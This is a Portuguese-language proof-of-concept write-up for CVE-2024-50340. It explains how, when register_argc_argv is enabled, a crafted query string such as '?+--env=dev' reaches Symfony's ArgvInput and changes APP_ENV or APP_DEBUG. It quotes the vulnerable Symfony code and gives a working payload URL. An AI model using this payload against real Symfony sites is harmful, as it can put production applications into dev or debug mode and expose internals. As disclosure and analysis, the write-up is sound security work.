
Exploit de prova de conceito para CVE-2024-50340 demonstrando injeção de variável de ambiente Symfony ArgvInput através de parâmetros de consulta de URL manipulados, permitindo a manipulação de APP_ENV e APP_DEBUG.
A opção register_argc_argv deve estar ativada no arquivo de configuração do PHP (php.ini). Essa configuração carrega argumentos de linha de comando e parâmetros de consulta em $_SERVER['argv']. https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv
Este código do Symfony usa argumentos de entrada (ArgvInput) para determinar os valores de certas variáveis de ambiente, especificamente APP_ENV e APP_DEBUG. Aqui estão as partes relevantes do código do Symfony:
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();
if (isset($this->options['env'])) {
return $this->input = $input;
}
if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}
if ($input->hasParameterOption('--no-debug', true)) {
putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}
O código acima processa argumentos fornecidos através do ArgvInput. Se o parâmetro --env for especificado em argv, ele atualiza a variável de ambiente APP_ENV conforme necessário. Da mesma forma, se --no-debug estiver presente, ele define APP_DEBUG como 0.
A classe ArgvInput inicializa os parâmetros argv passados via linha de comando, parâmetros de consulta ou, por padrão, aqueles em $_SERVER['argv']. A função array_shift($argv); remove o primeiro elemento do array $argv (normalmente o nome da aplicação) e armazena os argumentos restantes em $this->tokens.
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
$argv ??= $_SERVER['argv'] ?? [];
// strip the application name
array_shift($argv);
$this->tokens = $argv;
parent::__construct($definition);
}
Usando a seguinte URL: http://localhost/?+--env=dev, podemos injetar um argumento --env=dev em $_SERVER['argv']. Isso nos permite alterar o valor APP_ENV para dev sem modificar a configuração da aplicação diretamente.
$_SERVER['argv'] = ["+--env=dev"];
$argv = ["--env=dev"];